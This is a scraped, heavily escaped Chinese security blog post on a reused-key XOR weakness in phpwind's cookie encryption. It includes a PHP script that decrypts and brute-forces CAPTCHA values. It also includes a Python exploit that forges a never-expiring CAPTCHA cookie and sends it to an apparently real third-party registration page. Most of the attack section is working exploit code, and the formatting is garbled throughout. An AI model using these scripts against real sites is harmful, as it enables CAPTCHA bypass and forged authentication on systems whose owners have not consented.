![\"\"](\"http:\/\/notes.zerobox.org\/wp-content\/uploads\/2011\/11\/1.png\" "\\"1\\"")
<\/a><\/p>\n\u5728common.php \u4e2d\uff1a<\/p>\n
<\/p>\n
\/**<\/p>\n
*\u00a0\u52a0\u5bc6\u3001\u89e3\u5bc6\u5b57\u7b26\u4e32<\/p>\n
*<\/p>\n
*@global string $db_hash<\/p>\n
*@global array $pwServer<\/p>\n
*@param $string\u00a0\u5f85\u5904\u7406\u5b57\u7b26\u4e32<\/p>\n
*@param $action\u00a0\u64cd\u4f5c\uff0cENCODE|DECODE<\/p>\n
*@return string<\/p>\n
*\/<\/p>\n
function StrCode($string, $action =’ENCODE’) {<\/p>\n
$action!= ‘ENCODE’ && $string = base64_decode($string);<\/p>\n
$code= ”;<\/p>\n
$key= substr(md5($GLOBALS[‘pwServer’][‘HTTP_USER_AGENT’] . $GLOBALS[‘db_hash’]), 8,18);<\/p>\n
$keyLen= strlen($key);<\/p>\n
$strLen= strlen($string);<\/p>\n
for($i = 0; $i < $strLen; $i++) {<\/p>\n
$k= $i % $keyLen;<\/p>\n
$code.= $string[$i] ^ $key[$k];<\/strong><\/p>\n }<\/p>\n return($action != ‘DECODE’ ? base64_encode($code) : $code);<\/p>\n }<\/p>\n <\/p>\n \u90a3\u4e48\uff0c\u4ee5\u7834\u89e3\u9a8c\u8bc1\u7801\u4e3a\u4f8b\u3002\u5728phpwind\u4e2d\uff0c\u9a8c\u8bc1\u7801\u662f\u5728ck.php\u4e2d\u6309\u7167\u5982\u4e0b\u65b9\u5f0f\u751f\u6210\u7684\uff1a<\/p>\n <\/p>\n functiongetCode($type=null,$set=true) {<\/p>\n empty($type)&& $type = $this->gdcontent;<\/p>\n $code= ”;<\/p>\n switch($type) {<\/p>\n case3:<\/p>\n global$db_charset,$lang;<\/p>\n require_onceGetLang(‘ck’);<\/p>\n $step= strtoupper($db_charset) == ‘UTF-8’ ? 3 : 2;<\/p>\n $len\u00a0\u00a0= (strlen($lang[‘ck’])\/$step) – 1;<\/p>\n for($i = 0; $i < $this->num; $i++) {<\/p>\n $code.= substr($lang[‘ck’],mt_rand(0,$len)*$step,$step);<\/p>\n }<\/p>\n $set&& $this->cookie($code);<\/p>\n if(strtoupper($db_charset) <> ‘UTF-8′) {<\/p>\n $code= $this->convert($code,’UTF-8’,$db_charset);<\/p>\n }<\/p>\n $code= explode(‘,’,wordwrap($code,3,’,’,1));<\/p>\n break;<\/p>\n case2:<\/p>\n $list= ‘BCEFGHJKMPQRTVWXY2346789’;<\/p>\n $len\u00a0\u00a0= strlen($list) – 1;<\/p>\n for ($i = 0; $i <$this->num; $i++) {<\/p>\n $code.= $list[mt_rand(0,$len)];<\/p>\n }<\/p>\n $set&& $this->cookie($code);<\/p>\n break;<\/p>\n default:<\/p>\n $list= ‘2346789’;<\/p>\n $this->gdtype== 3 && $list .= ’15’;<\/p>\n $len= strlen($list) – 1;<\/p>\n mt_srand((double)microtime() * 1000000);<\/p>\n for($i = 0; $i < $this->num; $i++) {<\/p>\n $code.= $list{mt_rand(0, $len)};<\/p>\n }<\/p>\n $set&& $this->cookie($code);<\/p>\n }<\/p>\n return$code;<\/p>\n }<\/p>\n <\/p>\n \u540c\u65f6\u9a8c\u8bc1\u7801\u7684\u5b57\u7b26\u96c6\u53ea\u670924\u4e2a\uff0c\u56e0\u4e3a\u6709\u4e9b\u5b57\u7b26\u5bb9\u6613\u8ba9\u7528\u6237\u4ea7\u751f\u6df7\u6dc6\uff0c\u6bd4\u5982\u5b57\u6bcd”l”\u4e0e\u6570\u5b57”1″\uff1a<\/p>\n $list= ‘BCEFGHJKMPQRTVWXY2346789’;<\/p>\n <\/p>\n \u6700\u7ec8\u5c06\u751f\u6210\u7684\u9a8c\u8bc1\u7801\u4e0e\u65f6\u95f4\u6233\u7ed1\u5b9a\u540e\u5199\u5165Cookie\u4e2d\uff1a<\/p>\n \u52a0\u5bc6\u524d\u7684\u7ed3\u6784\u5982\u4e0b\uff1a<\/p>\n \u6839\u636eReused Key Attack\u7684\u653b\u51fb\u65b9\u6cd5\uff0c\u77e5\u9053\u660e\u65871\u3001\u5bc6\u65871\u3001\u5bc6\u65872\u540e\uff0c\u53ef\u4ee5\u901a\u8fc7XOR\u64cd\u4f5c\u63a8\u5bfc\u51fa\u660e\u65872\u3002\u5728\u9a8c\u8bc1\u7801\u7684\u5e94\u7528\u4e2d\uff0c\u6709\u4e24\u4e2a\u56e0\u7d20\u6bd4\u8f83\u5173\u952e\uff0c\u4e00\u4e2a\u662f\u65f6\u95f4\u6233\uff0c\u4e00\u4e2a\u662f\u9a8c\u8bc1\u7801\u7684\u503c\u3002<\/p>\n <\/p>\n \u4f46\u5b9e\u9645\u4e0a\u6709\u5f88\u591a\u5730\u65b9\u53ef\u4ee5\u66b4\u9732\u65f6\u95f4\u6233\u3002\u6bd4\u5982\u4e0b\u9762\u7684\u5730\u65b9\uff1a<\/p>\n <\/p>\n HTTP\/1.1 200 OK<\/p>\n Server: nginx\/0.7.65<\/p>\n Date: Mon, 05 Sep 2011 03:08:29 GMT<\/strong><\/p>\n Content-Type: image\/png<\/p>\n Transfer-Encoding: chunked<\/p>\n Connection: keep-alive<\/p>\n X-Powered-By: PHP\/5.2.10<\/p>\n Set-Cookie:\u00a0dd499_c_stamp=1315192109;<\/strong>\u00a0expires=Tue, 04-Sep-2012 03:08:29 GMT;path=\/<\/p>\n Set-Cookie: dd499_lastvisit=3522%091315192109%09%2Fck.php%3Fnowtime1315191874102;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=\/<\/p>\n Pragma: no-cache<\/p>\n Cache-control: no-cache<\/p>\n Set-Cookie:\u00a0dd499_cknum=AQsFB1VdVlRSC28xUVYMBgUDUgEFClEGVANRBwQBAgJbBQNVCAABCgZWB1E;<\/strong>expires=Tue, 04-Sep-2012 03:08:29 GMT; path=\/<\/p>\n <\/p>\n <\/p>\n \u83b7\u53d6\u4e86\u65f6\u95f4\u6233\u548c\u5df2\u77e5\u7684\u9a8c\u8bc1\u78011\u540e\uff0c\u53ef\u4ee5\u6784\u9020\u51fa\u670d\u52a1\u7aef\u4f7f\u7528\u7684\u660e\u6587\uff1b\u7ed3\u5408\u6293\u53d6\u5230\u7684\u8fd9\u6b21\u5bc6\u6587\uff0c\u5c31\u53ef\u4ee5\u63a8\u5bfc\u51fa\u4efb\u610f\u5bc6\u6587\u7684\u660e\u6587\u4e86\u3002<\/p>\n <\/p>\n \u4f46\u660e\u6587\u4e2d\u672a\u76f4\u63a5\u5305\u542b\u9a8c\u8bc1\u7801\u7684\u503c\uff0c\u800c\u53ea\u662f\u4f7f\u7528\u4e86\u9a8c\u8bc1\u7801\u7684MD5\uff0c\u56e0\u6b64\u8981\u7834\u89e3\u51fa\u9a8c\u8bc1\u7801\uff0c\u9700\u8981\u91c7\u7528MD5 rainbow table\u7684\u65b9\u5f0f\u6765\u9006\u5411\u63a8\u5bfcMD5\u540e\u7684\u9a8c\u8bc1\u7801\u503c\u3002\u56e0\u4e3aphpwind\u91c7\u7528\u7684\u9a8c\u8bc1\u7801\u4f4d\u6570\u4e0d\u662f\u5f88\u591a\uff0c\u53ea\u67094\u4f4d\u30015\u4f4d\u62166\u4f4d\uff0c\u56e0\u6b64\u5b9e\u9645\u4e0a\u53ea\u9700\u8981\u8ba1\u7b97 24^4 = 331776 \u6216\u8005 24^5 = 7962624\u00a0\u6b21\u5373\u53ef\uff08\u9a8c\u8bc1\u7801\u4ece24\u4e2a\u5b57\u7b26\u4e2d\u4ea7\u751f\uff09\u3002<\/p>\n <\/p>\n \u6f14\u793a\u4ee3\u7801\u5982\u4e0b<\/strong>\uff1a<\/p>\n <\/p>\n <?php<\/p>\n <\/p>\n $code1 = “QPG3W8”;<\/p>\n $t = 1320392525;<\/p>\n $str1 = base64_decode(“AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc”);<\/p>\n <\/p>\n \/\/ cipher to crack<\/p>\n \/\/\u52a0\u5bc6\u65b9\u5f0f\uff1a \u65f6\u95f4\u6233.”\\t\\t”.md5(\u9a8c\u8bc1\u7801.\u65f6\u95f4\u6233);<\/p>\n $str2 = base64_decode(“AQUFBVIJAwIBDjloXAYEBwJRAwAADVgBCVRdUlUAAgcHBlABCQMBBgAIAwE”);<\/p>\n echo “TimeStamp is: “.$t.”\\n”;<\/p>\n <\/p>\n for ($jmp = 0; $jmp<20; $jmp++){<\/p>\n $x = ($t-10+$jmp).”\\t\\t”.md5($code1.($t-10+$jmp));<\/p>\n <\/p>\n $guess = “”;<\/p>\n for ($i=0;$i<strlen($str1);$i++){<\/p>\n <\/p>\n $guess .= chr(ord($x[$i]) \u00a0^ ord($str1[$i]) ^ ord($str2[$i]) );<\/p>\n }<\/p>\n \/\/echo $guess.”\\n”;<\/p>\n if ( is_numeric(substr($guess,0,10)) && preg_match(“\/^[a-z0-9]*$\/i”, substr($guess,-32) ) ){<\/p>\n \/\/if ($jmp == 10){<\/p>\n echo “\\nGuess Result is: “.$guess.”\\n”;<\/p>\n break;<\/p>\n }<\/p>\n }<\/p>\n <\/p>\n \/\/ \u904d\u5386\u51facheckcode<\/p>\n $counter = 0;<\/p>\n $startTime = time();<\/p>\n $cksets = ‘BCEFGHJKMPQRTVWXY2346789’;<\/p>\n <\/p>\n function bruteforce_guess($p){<\/p>\n <\/p>\n global $counter;<\/p>\n global $cksets;<\/p>\n <\/p>\n for ($a=0;$a<strlen($cksets);$a++){<\/p>\n $result = “”;<\/p>\n $result[0] = \u00a0$cksets[$a];<\/p>\n for($b=0;$b<strlen($cksets);$b++){<\/p>\n $result[1] = $cksets[$b];<\/p>\n for($c=0;$c<strlen($cksets);$c++){<\/p>\n $result[2] = $cksets[$c];<\/p>\n for($d=0;$d<strlen($cksets);$d++){<\/p>\n $result[3] = $cksets[$d];<\/p>\n for($e=0;$e<strlen($cksets);$e++){<\/p>\n $result[4] = $cksets[$e];<\/p>\n for($f=0;$f<strlen($cksets);$f++){<\/p>\n $counter ++;<\/p>\n $result[5] = $cksets[$f];<\/p>\n $result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5];<\/p>\n <\/p>\n if (md5($result.substr($p,0,10)) == substr($p,-32) ){<\/p>\n echo “CheckCode is: “.$result.”\\n”;<\/p>\n return $result;<\/p>\n }<\/p>\n if ($counter % 300000 == 0){<\/p>\n echo “.”;<\/p>\n }<\/p>\n }<\/p>\n }<\/p>\n }<\/p>\n }<\/p>\n }<\/p>\n }<\/p>\n return False;<\/p>\n }<\/p>\n <\/p>\n <\/p>\n function random_guess($p){<\/p>\n global $counter;<\/p>\n global $cksets;<\/p>\n <\/p>\n for(;;){<\/p>\n $result = ”;<\/p>\n $len \u00a0= strlen($cksets) – 1;<\/p>\n $counter ++;<\/p>\n for ($i = 0; $i < strlen($code1); $i++) {<\/p>\n $result .= $cksets[mt_rand(0,$len)];<\/p>\n }<\/p>\n if (md5($result.substr($p,0,10)) == substr($p,-32) ){<\/p>\n echo “CheckCode is: “.$result.”\\n”;<\/p>\n break;<\/p>\n }<\/p>\n if ($counter % 300000 == 0){<\/p>\n echo “.”;<\/p>\n }<\/p>\n }<\/p>\n }<\/p>\n <\/p>\n bruteforce_guess($guess); \u00a0 \/\/ \u904d\u5386\u6240\u6709\u53ef\u80fd\u6027<\/p>\n \/\/random_guess($guess); \u00a0 \u00a0 \/\/\u968f\u673a\u751f\u6210\u65b9\u5f0f\u904d\u5386<\/p>\n <\/p>\n echo “Counter is: “.$counter.”\\n”;<\/p>\n echo “Spend Time: “.(time()-$startTime).” Seconds\\n”;<\/p>\n <\/p>\n function hex($str){<\/p>\n $result = ”;<\/p>\n for ($i=0;$i<strlen($str);$i++){<\/p>\n $result .= “\\\\x”.ord($str[$i]);<\/p>\n }<\/p>\n return $result;<\/p>\n }<\/p>\n <\/p>\n ?><\/p>\n <\/p>\n \u6d4b\u8bd5\u5982\u4e0b\uff0c\u8981\u7834\u89e3\u5982\u4e0b\u9a8c\u8bc1\u7801\uff1a \u653b\u51fb\u6548\u679c\uff1a<\/p>\n \u6784\u9020\u4efb\u610f\u660e\u6587\u7684\u5bc6\u6587<\/strong><\/p>\n <\/strong> \u8fd8\u662f\u4ee5\u9a8c\u8bc1\u7801\u4e3a\u4f8b\uff0c\u6784\u9020\u4e00\u4e2a\u6c38\u4e45\u6709\u6548\u7684\u9a8c\u8bc1\u7801\u3002<\/p>\n <\/p>\n \u5728phpwind\u4e2d\uff0c\u662f\u901a\u8fc7\u4ee5\u4e0b\u8fc7\u7a0b\u9a8c\u8bc1\u4e00\u4e2a\u9a8c\u8bc1\u7801\u7684\uff1a<\/p>\n <\/p>\n <\/p>\n 1.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Post\u53c2\u6570\u00a0gdcode \u7684\u503c\u4e3a\u00a0valueA<\/p>\n 2.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u89e3\u5bc6cookie cknum\u7684\u503c\uff0c\u83b7\u53d6\u5230\u539f\u6587\u4e3a\u00a0valueB<\/p>\n 3.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u901a\u8fc7safecheck()\u51fd\u6570\u9a8c\u8bc1valueB\u7684\u65f6\u95f4\u6233\u662f\u5426\u5408\u6cd5\uff0c\u4ee5\u53cavalueB\u7684\u00a0md5\u00a0\u662f\u5426\u4e0evalueA\u7684\u8ba1\u7b97\u7ed3\u679c\u4e00\u81f4<\/p>\n <\/p>\n Global.php:<\/p>\n \/**<\/p>\n *\u00a0\u6821\u9a8c\u9a8c\u8bc1\u7801<\/p>\n *<\/p>\n *@param string $code<\/p>\n *\/<\/p>\n function GdConfirm($code,$bool = null) {<\/p>\n Cookie(‘cknum’,”, 0);<\/p>\n if(!$code || !SafeCheck(explode(“\\t”, StrCode(GetCookie(‘cknum’),’DECODE’)), strtoupper($code), ‘cknum’, 1800)) {<\/p>\n if($bool){<\/p>\n returnfalse;<\/p>\n }else{<\/p>\n Showmsg(‘check_error’);<\/p>\n }<\/p>\n }<\/p>\n returntrue;<\/p>\n }<\/p>\n <\/p>\n Common.php:<\/p>\n \/**<\/p>\n *\u00a0\u68c0\u67e5cookie\u662f\u5426\u8fc7\u671f<\/p>\n *<\/p>\n *@global int $timestamp<\/p>\n *@param array $cookieData cookie\u6570\u636e<\/p>\n *@param string $pwdCode\u00a0\u7528\u6237\u79c1\u6709\u4fe1\u606f<\/p>\n *@param string $cookieName cookie\u540d<\/p>\n *@param int $expire\u00a0\u8fc7\u671f\u79d2\u6570<\/p>\n *@param bool $clearCookie\u00a0\u9a8c\u8bc1\u9519\u8bef\u662f\u5426\u6e05\u9664cookie<\/p>\n *@param bool $refreshCookie\u00a0\u662f\u5426\u5237\u65b0cookie<\/p>\n *@return bool<\/p>\n *\/<\/p>\n function SafeCheck($cookieData, $pwdCode,$cookieName = ‘AdminUser’, $expire = 1800,$clearCookie = true ,$refreshCookie =true) {<\/p>\n global$timestamp;<\/p>\n \u00a0<\/strong>if($timestamp- $cookieData[0] > $expire) {<\/strong><\/p>\n Cookie($cookieName,”, 0);<\/p>\n returnfalse;<\/p>\n }elseif ($cookieData[2] != md5($pwdCode . $cookieData[0])) {<\/p>\n $clearCookie&& Cookie($cookieName, ”, 0);<\/p>\n returnfalse;<\/p>\n }<\/p>\n if($refreshCookie) {<\/p>\n $cookieData[0]= $timestamp;<\/p>\n $cookieData[2]= md5($pwdCode . $cookieData[0]);<\/p>\n Cookie($cookieName,StrCode(implode(“\\t”, $cookieData)));<\/p>\n }<\/p>\n returntrue;<\/p>\n }<\/p>\n <\/p>\n <\/p>\n \u6ce8\u610f\u5230\u9a8c\u8bc1\u7801\u7684\u5931\u6548\u65f6\u95f4\u662f\u670d\u52a1\u7aef\u65f6\u95f4\u76841800\u79d2\u4e4b\u540e\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u4e00\u4e2a\u8d85\u7ea7\u5927\u7684\u65f6\u95f4\u4f7f\u5f97\u5224\u65ad\u6761\u4ef6\u6c38\u8fdc\u6210\u7acb\u3002<\/p>\n <\/p>\n $timestamp\u2013 $cookieData[0] < 0<\/strong><\/p>\n <\/p>\n <\/p>\n \u6f14\u793a\u4ee3\u7801\u5982\u4e0b<\/strong>\uff1a<\/p>\n <\/p>\n import string<\/p>\n import urllib2<\/p>\n import urllib<\/p>\n #from urlparse import urlparse<\/p>\n import httplib<\/p>\n import base64<\/p>\n import md5<\/p>\n <\/p>\n plaintext1 = “1320392525”+”\\t\\t”+md5.new(“QPG3W8″+”1320392525”).hexdigest()<\/p>\n ciphertext1 = base64.b64decode(“AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc=”)<\/p>\n <\/p>\n bigtime = “2000000000”<\/strong><\/p>\n plaintext2 = bigtime+”\\t\\t”+md5.new(“2MY8W3″+bigtime).hexdigest()<\/p>\n ciphertext2 = ”<\/p>\n <\/p>\n for i in range(0,len(plaintext1)):<\/p>\n ciphertext2 += chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i]))<\/p>\n <\/p>\n cookie = base64.b64encode(ciphertext2)<\/p>\n <\/p>\n url = “http:\/\/www.mtkjm.cn\/register.php?verify=7f3e5fe4”<\/p>\n <\/p>\n data = {‘action’:’regcheck’,’gdcode’:’2MY8W3′,’type’:’reggdcode’}<\/p>\n data = urllib.urlencode(data)<\/p>\n <\/p>\n headers = {‘User-Agent’:’Mozilla\/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko\/20110803 Firefox\/3.6.20′,<\/p>\n ‘Cookie’:’be2f1_cknum=’+cookie}<\/p>\n <\/p>\n req = urllib2.Request(url,data,headers)<\/p>\n f = urllib2.urlopen(req)<\/p>\n print f.read()<\/p>\n <\/p>\n <\/p>\n<\/a><\/p>\n<\/a><\/p>\n<\/a><\/p>\n<\/a><\/p>\n<\/a><\/p>\n